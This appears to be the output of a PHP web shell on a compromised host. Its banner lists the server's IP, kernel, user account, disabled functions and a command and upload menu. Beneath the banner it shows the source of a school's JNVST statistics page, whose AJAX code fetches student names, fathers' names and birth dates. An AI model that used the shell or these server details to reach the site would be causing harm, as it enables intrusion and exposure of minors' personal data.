|
Server IP : 86.38.243.181 / Your IP : 216.73.216.51 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u986601745 ( 986601745) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u986601745/domains/emrskalsi.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Eklavya Model Residential School - JNVST Statistics</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php include('include/header.php'); ?>
<div class="breadcrumbs">
<div class="container">
<!-- <h1 class="pull-left">
JNVST Statistics</h1> -->
<ul class="pull-left breadcrumb">
<li><a href="#">Admission</a></li>
<li><a href="JNVST-Statistics.php">JNVST Statistics</a></li>
</ul>
<div class="brs">
<button type="button" class="print-gigw" onclick="printDiv('pr')" value="print a div!" ><i class="fa fa-print" aria-hidden="true"></i>
</button>
<script>
function printDiv(pr) {
var printContents = document.getElementById(pr).innerHTML;
var originalContents = document.body.innerHTML;
document.body.innerHTML = printContents;
window.print();
document.body.innerHTML = originalContents;
}
</script>
</div>
</div>
</div>
</div>
<style>.menshow{display:block !important}</style>
<script>
jQuery(document).ready(function($) {
var alterClass = function() {
var ww = document.body.clientWidth;
if (ww < 990) {
$('.menu').removeClass('gt_navigationss');
}
};
$(window).resize(function(){
alterClass();
});
//Fire it when the page first loads:
alterClass();
});
</script>
<script>
jQuery(document).ready(function($) {
var alterClass = function() {
var ww = document.body.clientWidth;
if (ww < 990) {
$('.menu_main1').removeClass('gt_navigationss');
} else if (ww >= 990) {
$('.menu_main1').addClass('gt_navigationss');
};
};
$(window).resize(function(){
alterClass();
});
//Fire it when the page first loads:
alterClass();
});
</script>
<script>
function checkcsrf() {
var csrftoken1=$('#tokenId').val();
var csrftoken2=$('#sessionToken').val();
if(csrftoken1!=csrftoken2){
window.location.href = "/nvs/en/Error/";
}
}
</script>
<script>
$(document).ready(function(){
$(".navbar-toggles").click(function(){
$(".menu").slideToggle();
});
//checkcsrf();
//var sessiontoken="aexy1478e045stxy90";
//alert("in navigationPage======"+sessiontoken);
});
</script>
<script>
window.onscroll = function() {headt()};
var headervs = document.getElementById("nvshqheadr");
var stickynvs = headervs.offsetTop;
function headt() {
if (window.pageYOffset >= stickynvs) {
headervs.classList.add("stickynvs");
} else {
headervs.classList.remove("stickynvs");
}
}
</script>
</div></div><div class="container enroll_poli margin_enroll_poli" id="pr">
<div class="row margin_enroll_poli"><div class="col-xs-12 col-md-12 col-lg-12 enrollment_policy" ><div class="col-sm-12">
<div class="ap-tab-section ">
<div class="headline"><h2 >JNVST Statistics</h2></div>
<div class="ap-tab">
<div class="col-xs-12 col-md-4 col-lg-4 col-sm-12 nopad-mob">
<ul class="nav nav-tabs tabs-left">
<li class="active"><a href="#tab_8c2bacff_1" data-toggle="tab">Class VI</a></li>
<li ><a href="#tab_8c2bacff_2" data-toggle="tab">Class IX</a></li>
<li ><a href="#tab_8c2bacff_3" data-toggle="tab">Class XI</a></li>
</ul>
</div>
<div class="col-xs-12 col-md-8 col-lg-8 col-sm-12 nopad-mob">
<div class="tab-content">
<div id="tab_8c2bacff_1" class="tab-pane ap-tab-pane fade active in" >
<div ><div class="six_resultstatics">
<div class="row">
<div class="col-md-12 col-lg-12"><div class="col-xs-12" >
<!--isvalid-->
<!--School Id will be set in the main page-->
<!--DataSource-->
<!--Sql Query To be run-->
<div class="six_reslutstatic">
<!--It displays the session from database -->
<select id="sessions">
<option>Select Year</option>
<option value='2014-2015'>2014-2015</option>
<option value='2018-2019'>2018-2019</option>
<option value='2010-2011'>2010-2011</option>
<option value='2011-2012'>2011-2012</option>
<option value='2013-2014'>2013-2014</option>
<option value='2015-2016'>2015-2016</option>
<option value='2017-2018'>2017-2018</option>
<option value='2020-2021'>2020-2021</option>
<option value='2012-2013'>2012-2013</option>
<option value='2016-2017'>2016-2017</option>
<option value='2019-2020'>2019-2020</option>
</select>
<!--Div that will hold the pie chart-->
<div id="chart_div"></div>
<div id="table_div"></div>
<!--<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#exampleModal">
Launch demo modal
</button>
-->
<div id="studet" style="display:none;" >
<div id="mb" class="table-responsive">
</div>
</div>
</div>
<script type="text/javascript">
function drawChart(reg,sel,app) {
// Create the data table.
var data = google.visualization.arrayToDataTable([
['Registerd', 'Hours per Day'],
['Registerd', reg],
['Appreared', sel],
['Selected', app],
]);
// Set chart options
var options = {'title':'Jnvst Statistics', 'width':550, 'height':400};
// Instantiate and draw our chart, passing in some options.
var chart = new google.visualization.PieChart(document.getElementById('chart_div'));
chart.draw(data, options);
//google.visualization.events.addListener(chart, 'select', selectHandler);
// function selectHandler(e) {
//(function(e){
//if(data.getValue(chart.getSelection()[0].row, 0)=="Selected"){
//}
//})(e)
//}
$('#mymd2').show();
}
function drawTable(maindata) {
var data = new google.visualization.DataTable();
data.addColumn('string', 'RollNo');
data.addColumn('string', 'Student-Name');
data.addColumn('string', 'Father Name');
data.addColumn('string', 'DOB');
data.addColumn('string', 'Category');
data.addColumn('string', 'SubCategory');
data.addColumn('string', 'Gender');
data.addRows(maindata);
var table = new google.visualization.Table(document.getElementById('table_div'));
table.draw(data, {showRowNumber: true, width: '100%', height: 'auto' , showRowNumber: true,
page: 'enable',
pageSize: 10,
pagingSymbols: {
prev: 'prev',
next: 'next'
},
pagingButtonsConfiguration: 'auto'});
}
//these variables are passed into the drawChart function these are retrieved from ajax
var reg;
var sel;
var app;
var selectedStudList;
//
$("#sessions").on("change",function(){
//alert("hello");
//this value of selected option is derived from onchange event of dropdown
var session=$("#sessions option:selected").val();
var cl="VI";
var school_id='556';
//alert(school_id);
//now passing ajax request to get the selected appeared and registerd student data for particular year
$.ajax({
type:'post',
url:'/nvs/system/modules/NVS.School/elements/selectiondatajson.jsp',
data:{session:session,cl:cl,school_id:school_id},
dataType:'json',
success:function(e){
//ajax request to fetch student names
console.log(e);
reg=e.data[0];
sel=e.data[1];
app=e.data[2];
console.log("reg="+e.data[0]);
console.log("app="+e.data[1]);
console.log("sel="+e.data[2]);
console.log("e.studentnames=="+e.studentnames);
//selectedStudList=e.studentnames;
drawChart(reg,sel,app);
drawTable(e.studentnames);
//drawCharttwo(reg,sel,app);
//drawTabletwo(e.studentnames);
//myFunction1(e.studentnames);
}
});
});
</script>
<!-- Modal -->
</div></div>
</div>
</div></div></div>
<div id="tab_8c2bacff_2" class="tab-pane ap-tab-pane fade " >
<div ><div class="nine_resultstatics">
<div class="row">
<div class="col-xs-12 col-md-12 col-lg-12 col-sm-12" >
<!-- jQuery library -->
<!--isvalid-->
<!--DataSource-->
<!--Sql Query To be run-->
<div class="six_reslutstatic">
<!--It displays the session from database -->
<select id="sessiontwo">
<option>Select Year</option>
<option value='2014-2015'>2014-2015</option>
<option value='2018-2019'>2018-2019</option>
<option value='2010-2011'>2010-2011</option>
<option value='2011-2012'>2011-2012</option>
<option value='2013-2014'>2013-2014</option>
<option value='2015-2016'>2015-2016</option>
<option value='2017-2018'>2017-2018</option>
<option value='2020-2021'>2020-2021</option>
<option value='2012-2013'>2012-2013</option>
<option value='2016-2017'>2016-2017</option>
<option value='2019-2020'>2019-2020</option>
</select>
<!--Div that will hold the pie chart-->
<div id="chart_divtwo"></div>
<div id="table_dive"></div>
<div id="studetnine" style="display:none;" >
<div id="mbnine" class="table-responsive">
</div>
</div>
</div>
<script type="text/javascript">
//google.charts.setOnLoadCallback(drawCharttwo);
function drawCharttwo(reg,sel,app) {
// Create the data table.
var data = google.visualization.arrayToDataTable([
['Registerd', 'Hours per Day'],
['Registerd', reg],
['Appreared', sel],
['Selected', app],
]);
// Set chart options
var options = {'title':'Jnvst Statistics', 'width':550, 'height':400};
// Instantiate and draw our chart, passing in some options.
var chart = new google.visualization.PieChart(document.getElementById('chart_divtwo'));
chart.draw(data, options);
$('#mymd2').show();
}
//This draws table for the selected student data
function drawTabletwo(maindata) {
var data = new google.visualization.DataTable();
data.addColumn('string', 'RollNo');
data.addColumn('string', 'Student-Name');
data.addColumn('string', 'Father Name');
data.addColumn('string', 'DOB');
data.addColumn('string', 'Category');
data.addColumn('string', 'SubCategory');
data.addColumn('string', 'Gender');
data.addRows(maindata);
var table = new google.visualization.Table(document.getElementById('table_dive'));
table.draw(data, {showRowNumber: true, width: '100%', height: 'auto' , showRowNumber: true,
page: 'enable',
pageSize: 10,
pagingSymbols: {
prev: 'prev',
next: 'next'
},
pagingButtonsConfiguration: 'auto'});
}
/*function myFunction2(names) {
var totalRowCount = 0;
var studDetailCompleteLength=selectedStudList.length;
var headerArr=["sr no","Roll no.","Name","Father name","DOB","Category","Area","Gender"];
var theader = ' <table border="1" id="tableId" class="table table-bordered bg-head table-striped"> \n';
var html1="";
theader += '<thead>'
for (var a = 0; a < headerArr.length; a++) {
theader += "<th>"+headerArr[a]+"</th>";
}
theader += '</thead>'
var tbody ="";
for(var i=0;i<studDetailCompleteLength;i++){
if(i%7==0){
totalRowCount++;
tbody +="<tr class='maincontent'>";
tbody +="<td>" + totalRowCount + "</td>";
tbody +="<td>" + selectedStudList[i]+ "</td>";
}else{
tbody +="<td>" +selectedStudList[i] + "</td>";
}
}
$("#mb").empty();
$("#mbnine").empty();
document.getElementById('mbnine').innerHTML = theader + tbody;
//$('#myModal').modal('show');
document.getElementById("studetnine").style.display = "block";
//$("#mb").append(names);
}*/
//these variables are passed into the drawChart function these are retrieved from ajax
var reg;
var sel;
var app;
var selectedStudListNine;
//
$("#sessiontwo").on("change",function(){
//alert("hello");
//this value of selected option is derived from onchange event of dropdown
var session=$("#sessiontwo option:selected").val();
var cl="IX";
var school_id='556';
//alert(school_id);
//now passing ajax request to get the selected appeared and registerd student data for particular year
$.ajax({
type:'post',
url:'/nvs/system/modules/NVS.School/elements/selectiondatajson.jsp',
data:{session:session,cl:cl,school_id:school_id},
async: false,
dataType:'json',
success:function(e){
//alert(e.data);
reg=e.data[0];
sel=e.data[1];
app=e.data[2];
console.log(e.studentnames);
//s//electedStudListNine=e.studentnames;
drawCharttwo(reg,sel,app);
drawTabletwo(e.studentnames);
}
});
});
</script>
</div></div>
</div></div></div>
<div id="tab_8c2bacff_3" class="tab-pane ap-tab-pane fade " >
<div ><div class="eleven_resultstatics">
<div class="row"><div class="col-xs-12 col-md-12 col-lg-12 col-sm-12" >
<!-- jQuery library -->
<!--isvalid-->
<!--School Id will be set in the main page-->
<!--DataSource-->
<!--Sql Query To be run-->
<div class="six_reslutstatic">
<!--It displays the session years from database -->
<select id="sessionthree">
<option>Select Year</option>
<option value='2014-2015'>2014-2015</option>
<option value='2018-2019'>2018-2019</option>
<option value='2010-2011'>2010-2011</option>
<option value='2011-2012'>2011-2012</option>
<option value='2013-2014'>2013-2014</option>
<option value='2015-2016'>2015-2016</option>
<option value='2017-2018'>2017-2018</option>
<option value='2020-2021'>2020-2021</option>
<option value='2012-2013'>2012-2013</option>
<option value='2016-2017'>2016-2017</option>
<option value='2019-2020'>2019-2020</option>
</select>
<!--Div that will hold the pie chart-->
<div id="chart_divthree"></div>
<div id="table_divn"></div>
<div id="studet" style="display:none;" >
<div id="mb" class="table-responsive">
</div>
</div>
</div>
<script type="text/javascript">
function drawChartthree(reg,sel,app) {
// Create the data table.
var data = google.visualization.arrayToDataTable([
['Registerd', 'Hours per Day'],
['Registerd', reg],
['Appreared', sel],
['Selected', app],
]);
// Set chart options
var options = {'title':'Jnvst Statistics', 'width':550, 'height':400};
// Instantiate and draw our chart, passing in some options.
var chart = new google.visualization.PieChart(document.getElementById('chart_divthree'));
chart.draw(data, options);
$('#mymd2').show();
}
//This draws table for the selected student data
function drawTableeleven(maindata) {
var data = new google.visualization.DataTable();
data.addColumn('string', 'RollNo');
data.addColumn('string', 'Student-Name');
data.addColumn('string', 'Father Name');
data.addColumn('string', 'DOB');
data.addColumn('string', 'Category');
data.addColumn('string', 'SubCategory');
data.addColumn('string', 'Gender');
data.addRows(maindata);
var table = new google.visualization.Table(document.getElementById('table_divn'));
table.draw(data, {showRowNumber: true, width: '100%', height: 'auto' , showRowNumber: true,
page: 'enable',
pageSize: 10,
pagingSymbols: {
prev: 'prev',
next: 'next'
},
pagingButtonsConfiguration: 'auto'});
}
//these variables are passed into the drawChart function these are retrieved from ajax
var reg;
var sel;
var app;
//
$("#sessionthree").on("change",function(){
//alert("hello");
//this value of selected option is derived from onchange event of dropdown
var session=$("#sessionthree option:selected").val();
var cl="XI";
var school_id='556';
//alert(school_id);
//now passing ajax request to get the selected appeared and registerd student data for particular year
$.ajax({
type:'post',
url:'/nvs/system/modules/NVS.School/elements/selectiondatajson.jsp',
data:{session:session,cl:cl,school_id:school_id},
async: false,
dataType:'json',
success:function(e){
//alert(e.data);
reg=e.data[0];
sel=e.data[1];
app=e.data[2];
drawChartthree(reg,sel,app);
drawTableeleven(e.studentnames);
}
});
});
</script>
</div></div>
</div></div></div>
</div></div>
</div>
</div>
</div>
</div></div></div>
<?php include('include/footer.php'); ?>